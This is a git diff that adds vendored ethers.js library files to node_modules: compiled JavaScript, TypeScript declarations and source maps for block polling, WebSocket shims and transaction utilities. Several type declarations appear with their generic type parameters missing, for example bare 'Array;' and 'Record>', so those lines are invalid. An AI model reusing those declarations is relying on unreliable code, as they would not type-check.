+ this.#provider.on("block", this.#poller); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} +//# sourceMappingURL=subscriber-polling.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/subscriber-polling.js.map b/node_modules/ethers/lib.esm/providers/subscriber-polling.js.map new file mode 100644 index 000000000000..f7af02ea130d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/subscriber-polling.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-polling.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-polling.ts"],"names":[],"mappings":"AAAA,O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CAAC;SACN;QACD,IAAI,CAAC,SAAS,CAAC,EAAE,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAC7C,CAAC;IAED,IAAI;QACA,IAAI,CAAC,IAAI,CAAC,QAAQ,EAAE;YAAE,OAAO;SAAE;QAC/B,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;QAEtB,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9C,CAAC;IAED,KAAK,CAAC,eAAyB;QAC3B,IAAI,CAAC,IAAI,EAAE,CAAC;QACZ,IAAI,eAAe,EAAE;YAAE,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;SAAE;IACpD,CAAC;IAED,MAAM;QACF,IAAI,CAAC,KAAK,EAAE,CAAC;IACjB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws-browser.d.ts b/node_modules/ethers/lib.esm/providers/ws-browser.d.ts new file mode 100644 index 000000000000..d92720422655 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws-browser.d.ts @@ -0,0 +1,3 @@ +declare const _WebSocket: any; +export { _WebSocket as WebSocket }; +//# sourceMappingURL=ws-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws-browser.d.ts.map b/node_modules/ethers/lib.esm/providers/ws-browser.d.ts.map new file mode 100644 index 000000000000..f549c4b0cfa2 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ws-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ws-browser.ts"],"names":[],"mappings":"AAQA,QAAA,MAAM,UAAU,KAAwB,CAAC;AAEzC,OAAO,EAAE,UAAU,IAAI,SAAS,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws-browser.js b/node_modules/ethers/lib.esm/providers/ws-browser.js new file mode 100644 index 000000000000..df9584d2c742 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws-browser.js @@ -0,0 +1,16 @@ +function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +; +const _WebSocket = getGlobal().WebSocket; +export { _WebSocket as WebSocket }; +//# sourceMappingURL=ws-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws-browser.js.map b/node_modules/ethers/lib.esm/providers/ws-browser.js.map new file mode 100644 index 000000000000..e23187e89b7b --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ws-browser.js","sourceRoot":"","sources":["../../src.ts/providers/ws-browser.ts"],"names":[],"mappings":"AACA,SAAS,SAAS;IAChB,IAAI,OAAO,IAAI,KAAK,WAAW,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACjD,IAAI,OAAO,MAAM,KAAK,WAAW,EAAE;QAAE,OAAO,MAAM,CAAC;KAAE;IACrD,IAAI,OAAO,MAAM,KAAK,WAAW,EAAE;QAAE,OAAO,MAAM,CAAC;KAAE;IACrD,MAAM,IAAI,KAAK,CAAC,gCAAgC,CAAC,CAAC;AACpD,CAAC;AAAA,CAAC;AAEF,MAAM,UAAU,GAAG,SAAS,EAAE,CAAC,SAAS,CAAC;AAEzC,OAAO,EAAE,UAAU,IAAI,SAAS,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws.d.ts b/node_modules/ethers/lib.esm/providers/ws.d.ts new file mode 100644 index 000000000000..75d53b7d4d9d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws.d.ts @@ -0,0 +1,2 @@ +export { WebSocket } from "ws"; +//# sourceMappingURL=ws.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws.d.ts.map b/node_modules/ethers/lib.esm/providers/ws.d.ts.map new file mode 100644 index 000000000000..c424f8d822b8 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ws.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ws.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,IAAI,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws.js b/node_modules/ethers/lib.esm/providers/ws.js new file mode 100644 index 000000000000..3fcc8f78b72e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws.js @@ -0,0 +1,2 @@ +export { WebSocket } from "ws"; +//# sourceMappingURL=ws.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ws.js.map b/node_modules/ethers/lib.esm/providers/ws.js.map new file mode 100644 index 000000000000..717e091c5d13 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ws.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ws.js","sourceRoot":"","sources":["../../src.ts/providers/ws.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,IAAI,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/accesslist.d.ts b/node_modules/ethers/lib.esm/transaction/accesslist.d.ts new file mode 100644 index 000000000000..e30ac1c49742 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/accesslist.d.ts @@ -0,0 +1,6 @@ +import type { AccessList, AccessListish } from "./index.js"; +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +export declare function accessListify(value: AccessListish): AccessList; +//# sourceMappingURL=accesslist.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/accesslist.d.ts.map b/node_modules/ethers/lib.esm/transaction/accesslist.d.ts.map new file mode 100644 index 000000000000..6516681ec325 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/accesslist.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"accesslist.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/accesslist.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAa5D;;GAEG;AACH,wBAAgB,aAAa,CAAC,KAAK,EAAE,aAAa,GAAG,UAAU,CAuB9D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/accesslist.js b/node_modules/ethers/lib.esm/transaction/accesslist.js new file mode 100644 index 000000000000..767b7e5bccbe --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/accesslist.js @@ -0,0 +1,37 @@ +import { getAddress } from "../address/index.js"; +import { assertArgument, isHexString } from "../utils/index.js"; +function accessSetify(addr, storageKeys) { + return { + address: getAddress(addr), + storageKeys: storageKeys.map((storageKey, index) => { + assertArgument(isHexString(storageKey, 32), "invalid slot", `storageKeys[${index}]`, storageKey); + return storageKey.toLowerCase(); + }) + }; +} +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +export function accessListify(value) { + if (Array.isArray(value)) { + return value.map((set, index) => { + if (Array.isArray(set)) { + assertArgument(set.length === 2, "invalid slot set", `value[${index}]`, set); + return accessSetify(set[0], set[1]); + } + assertArgument(set != null && typeof (set) === "object", "invalid address-slot set", "value", value); + return accessSetify(set.address, set.storageKeys); + }); + } + assertArgument(value != null && typeof (value) === "object", "invalid access list", "value", value); + const result = Object.keys(value).map((addr) => { + const storageKeys = value[addr].reduce((accum, storageKey) => { + accum[storageKey] = true; + return accum; + }, {}); + return accessSetify(addr, Object.keys(storageKeys).sort()); + }); + result.sort((a, b) => (a.address.localeCompare(b.address))); + return result; +} +//# sourceMappingURL=accesslist.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/accesslist.js.map b/node_modules/ethers/lib.esm/transaction/accesslist.js.map new file mode 100644 index 000000000000..a74e82ddda3f --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/accesslist.js.map @@ -0,0 +1 @@ +{"version":3,"file":"accesslist.js","sourceRo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AK,IAAI,IAAI,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE,qBAAqB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;IAEnG,MAAM,MAAM,GAA2D,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE;QACnG,MAAM,WAAW,GAAyB,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,KAAK,EAAE,UAAU,EAAE,EAAE;YAC/E,KAAK,CAAC,UAAU,CAAC,GAAG,IAAI,CAAC;YACzB,OAAO,KAAK,CAAC;QACjB,CAAC,EAAwB,EAAG,CAAC,CAAC;QAC9B,OAAO,YAAY,CAAC,IAAI,EAAE,MAAM,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC,IAAI,EAAE,CAAC,CAAA;IAC9D,CAAC,CAAC,CAAC;IACH,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,aAAa,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;IAC5D,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/address.d.ts b/node_modules/ethers/lib.esm/transaction/address.d.ts new file mode 100644 index 000000000000..0b86944ff2e8 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/address.d.ts @@ -0,0 +1,15 @@ +import { SigningKey } from "../crypto/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +export declare function computeAddress(key: string | SigningKey): string; +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +export declare function recoverAddress(digest: BytesLike, signature: SignatureLike): string; +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/address.d.ts.map b/node_modules/ethers/lib.esm/transaction/address.d.ts.map new file mode 100644 index 000000000000..83e6f0947da1 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/address.ts"],"names":[],"mappings":"AACA,OAAO,EAAa,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAE3D,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;;;GAIG;AACH,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,GAAG,UAAU,GAAG,MAAM,CAQ/D;AAED;;;GAGG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM,CAElF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/address.js b/node_modules/ethers/lib.esm/transaction/address.js new file mode 100644 index 000000000000..48ea3c7befc2 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/address.js @@ -0,0 +1,25 @@ +import { getAddress } from "../address/index.js"; +import { keccak256, SigningKey } from "../crypto/index.js"; +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +export function computeAddress(key) { + let pubkey; + if (typeof (key) === "string") { + pubkey = SigningKey.computePublicKey(key, false); + } + else { + pubkey = key.publicKey; + } + return getAddress(keccak256("0x" + pubkey.substring(4)).substring(26)); +} +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +export function recoverAddress(digest, signature) { + return computeAddress(SigningKey.recoverPublicKey(digest, signature)); +} +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/address.js.map b/node_modules/ethers/lib.esm/transaction/address.js.map new file mode 100644 index 000000000000..014d2da6fa0e --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../src.ts/transaction/address.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAK3D;;;;GAIG;AACH,MAAM,UAAU,cAAc,CAAC,GAAwB;IACnD,IAAI,MAAc,CAAC;IACnB,IAAI,OAAM,CAAC,GAAG,CAAC,KAAK,QAAQ,EAAE;QAC1B,MAAM,GAAG,UAAU,CAAC,gBAAgB,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;KACpD;SAAM;QACH,MAAM,GAAG,GAAG,CAAC,SAAS,CAAC;KAC1B;IACD,OAAO,UAAU,CAAC,SAAS,CAAC,IAAI,GAAG,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,EAAE,CAAC,CAAC,CAAC;AAC3E,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,cAAc,CAAC,MAAiB,EAAE,SAAwB;IACtE,OAAO,cAAc,CAAC,UAAU,CAAC,gBAAgB,CAAC,MAAM,EAAE,SAAS,CAAC,CAAC,CAAC;AAC1E,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/authorization.d.ts b/node_modules/ethers/lib.esm/transaction/authorization.d.ts new file mode 100644 index 000000000000..c9cc207d1745 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/authorization.d.ts @@ -0,0 +1,3 @@ +import type { Authorization, AuthorizationLike } from "./index.js"; +export declare function authorizationify(auth: AuthorizationLike): Authorization; +//# sourceMappingURL=authorization.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/authorization.d.ts.map b/node_modules/ethers/lib.esm/transaction/authorization.d.ts.map new file mode 100644 index 000000000000..6d90d17f4675 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/authorization.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/authorization.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,aAAa,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAEnE,wBAAgB,gBAAgB,CAAC,IAAI,EAAE,iBAAiB,GAAG,aAAa,CAOvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/authorization.js b/node_modules/ethers/lib.esm/transaction/authorization.js new file mode 100644 index 000000000000..55108e69939b --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/authorization.js @@ -0,0 +1,12 @@ +import { getAddress } from "../address/index.js"; +import { Signature } from "../crypto/index.js"; +import { getBigInt } from "../utils/index.js"; +export function authorizationify(auth) { + return { + address: getAddress(auth.address), + nonce: getBigInt((auth.nonce != null) ? auth.nonce : 0), + chainId: getBigInt((auth.chainId != null) ? auth.chainId : 0), + signature: Signature.from(auth.signature) + }; +} +//# sourceMappingURL=authorization.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/authorization.js.map b/node_modules/ethers/lib.esm/transaction/authorization.js.map new file mode 100644 index 000000000000..f14d57417414 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/authorization.js.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.js","sourceRoot":"","sources":["../../src.ts/transaction/authorization.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAI9C,MAAM,UAAU,gBAAgB,CAAC,IAAuB;IACpD,OAAO;QACH,OAAO,EAAE,UAAU,CAAC,IAAI,CAAC,OAAO,CAAC;QACjC,KAAK,EAAE,SAAS,CAAC,CAAC,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAA,CAAC,CAAC,CAAC,CAAC;QACtD,OAAO,EAAE,SAAS,CAAC,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,CAAA,CAAC,CAAC,IAAI,CAAC,OAAO,CAAA,CAAC,CAAC,CAAC,CAAC;QAC3D,SAAS,EAAE,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;KAC5C,CAAC;AACN,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/index.d.ts b/node_modules/ethers/lib.esm/transaction/index.d.ts new file mode 100644 index 000000000000..0a12b22897ff --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/index.d.ts @@ -0,0 +1,40 @@ +/** + * Each state-changing operation on Ethereum requires a transaction. + * + * @_section api/transaction:Transactions [about-transactions] + */ +import type { BigNumberish } from "../utils/maths.js"; +import type { Signature, SignatureLike } from "../crypto/index.js"; +/** + * A single [[AccessList]] entry of storage keys (slots) for an address. + */ +export type AccessListEntry = { + address: string; + storageKeys: Array; +}; +/** + * An ordered collection of [[AccessList]] entries. + */ +export type AccessList = Array; +/** + * Any ethers-supported access list structure. + */ +export type AccessListish = AccessList | Array<[string, Array]> | Record>; +export interface Authorization { + address: string; + nonce: bigint; + chainId: bigint; + signature: Signature; +} +export type AuthorizationLike = { + address: string; + nonce: BigNumberish; + chainId: BigNumberish; + signature: SignatureLike; +}; +export { accessListify } from "./accesslist.js"; +export { authorizationify } from "./authorization.js"; +export { computeAddress, recoverAddress } from "./address.js"; +export { Transaction } from "./transaction.js"; +export type { Blob, BlobLike, KzgLibrary, KzgLibraryLike, TransactionLike } from "./transaction.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/index.d.ts.map b/node_modules/ethers/lib.esm/transaction/index.d.ts.map new file mode 100644 index 000000000000..c0bbe6662fe5 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/index.d.ts.map @@ -0,0 +1 @@ +{"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AC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/index.js b/node_modules/ethers/lib.esm/transaction/index.js new file mode 100644 index 000000000000..843480e46347 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/index.js @@ -0,0 +1,11 @@ +/** + * Each state-changing operation on Ethereum requires a transaction. + * + * @_section api/transaction:Transactions [about-transactions] + */ +null; +export { accessListify } from "./accesslist.js"; +export { authorizationify } from "./authorization.js"; +export { computeAddress, recoverAddress } from "./address.js"; +export { Transaction } from "./transaction.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/index.js.map b/node_modules/ethers/lib.esm/transaction/index.js.map new file mode 100644 index 000000000000..4642a33fbf02 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/transaction/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,IAAI,CAAC;AAqCL,OAAO,EAAE,aAAa,EAAE,MAAM,iBAAiB,CAAC;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AACtD,OAAO,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAC9D,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/transaction.d.ts b/node_modules/ethers/lib.esm/transaction/transaction.d.ts new file mode 100644 index 000000000000..654feace1dff --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/transaction.d.ts @@ -0,0 +1,400 @@ +import { Signature } from "../crypto/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { AccessList, AccessListish, Authorization, AuthorizationLike } from "./index.js"; +/** + * A **TransactionLike** is an object which is appropriate as a loose + * input for many operations which will populate missing properties of + * a transaction. + */ +export interface TransactionLike { + /** + * The type. + */ + type?: null | number; + /** + * The recipient address or ``null`` for an ``init`` transaction. + */ + to?: null | A; + /** + * The sender. + */ + from?: null | A; + /** + * The nonce. + */ + nonce?: null | number; + /** + * The maximum amount of gas that can be used. + */ + gasLimit?: null | BigNumberish; + /** + * The gas price for legacy and berlin transactions. + */ + gasPrice?: null | BigNumberish; + /** + * The maximum priority fee per gas for london transactions. + */ + maxPriorityFeePerGas?: null | BigNumberish; + /** + * The maximum total fee per gas for london transactions. + */ + maxFeePerGas?: null | BigNumberish; + /** + * The data. + */ + data?: null | string; + /** + * The value (in wei) to send. + */ + value?: null | BigNumberish; + /** + * The chain ID the transaction is valid on. + */ + chainId?: null | BigNumberish; + /** + * The transaction hash. + */ + hash?: null | string; + /** + * The signature provided by the sender. + */ + signature?: null | SignatureLike; + /** + * The access list for berlin and london transactions. + */ + accessList?: null | AccessListish; + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + /** + * The versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array; + /** + * The blobs (if any) attached to this transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array; + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; +} +/** + * A full-valid BLOb object for [[link-eip-4844]] transactions. + * + * The commitment and proof should have been computed using a + * KZG library. + */ +export interface Blob { + data: string; + proof: string; + commitment: string; +} +/** + * A BLOb object that can be passed for [[link-eip-4844]] + * transactions. + * + * It may have had its commitment and proof already provided + * or rely on an attached [[KzgLibrary]] to compute them. + */ +export type BlobLike = BytesLike | { + data: BytesLike; + proof: BytesLike; + commitment: BytesLike; +}; +/** + * A KZG Library with the necessary functions to compute + * BLOb commitments and proofs. + */ +export interface KzgLibrary { + blobToKzgCommitment: (blob: Uint8Array) => Uint8Array; + computeBlobKzgProof: (blob: Uint8Array, commitment: Uint8Array) => Uint8Array; +} +/** + * A KZG Library with any of the various API configurations. + * As the library is still experimental and the API is not + * stable, depending on the version used the method names and + * signatures are still in flux. + * + * This allows any of the versions to be passed into Transaction + * while providing a stable external API. + */ +export type KzgLibraryLike = KzgLibrary | { + blobToKZGCommitment: (blob: string) => string; + computeBlobKZGProof: (blob: string, commitment: string) => string; +} | { + blobToKzgCommitment: (blob: string) => string | Uint8Array; + computeBlobProof: (blob: string, commitment: string) => string | Uint8Array; +}; +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +export declare class Transaction implements TransactionLike { + #private; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type(): null | number; + set type(value: null | number | string); + /** + * The name of the transaction type. + */ + get typeName(): null | string; + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to(): null | string; + set to(value: null | string); + /** + * The transaction nonce. + */ + get nonce(): number; + set nonce(value: BigNumberish); + /** + * The gas limit. + */ + get gasLimit(): bigint; + set gasLimit(value: BigNumberish); + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice(): null | bigint; + set gasPrice(value: null | BigNumberish); + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas(): null | bigint; + set maxPriorityFeePerGas(value: null | BigNumberish); + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas(): null | bigint; + set maxFeePerGas(value: null | BigNumberish); + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data(): string; + set data(value: BytesLike); + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value(): bigint; + set value(value: BigNumberish); + /** + * The chain ID this transaction is valid on. + */ + get chainId(): bigint; + set chainId(value: BigNumberish); + /** + * If signed, the signature for this transaction. + */ + get signature(): null | Signature; + set signature(value: null | SignatureLike); + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList(): null | AccessList; + set accessList(value: null | AccessListish); + get authorizationList(): null | Array; + set authorizationList(auths: null | Array); + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas(): null | bigint; + set maxFeePerBlobGas(value: null | BigNumberish); + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes(): null | Array; + set blobVersionedHashes(value: null | Array); + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs(): null | Array; + set blobs(_blobs: null | Array); + get kzg(): null | KzgLibrary; + set kzg(kzg: null | KzgLibraryLike); + /** + * Creates a new Transaction with default values. + */ + constructor(); + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash(): null | string; + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash(): string; + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from(): null | string; + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey(): null | string; + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned(): this is (Transaction & { + type: number; + typeName: string; + from: string; + signature: Signature; + }); + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized(): string; + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized(): string; + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType(): number; + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes(): Array; + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy(): this is (Transaction & { + type: 0; + gasPrice: bigint; + }); + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin(): this is (Transaction & { + type: 1; + gasPrice: bigint; + accessList: AccessList; + }); + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon(): this is (Transaction & { + type: 2; + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + }); + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun(): this is (Transaction & { + type: 3; + to: string; + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + maxFeePerBlobGas: bigint; + blobVersionedHashes: Array; + }); + /** + * Create a copy of this transaciton. + */ + clone(): Transaction; + /** + * Return a JSON-friendly object. + */ + toJSON(): any; + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx?: string | TransactionLike): Transaction; +} +//# sourceMappingURL=transaction.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/transaction.d.ts.map b/node_modules/ethers/lib.esm/transaction/transaction.d.ts.map new file mode 100644 index 000000000000..e59ac6bef8f7 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/transaction.d.ts.map @@ -0,0 +1 @@ 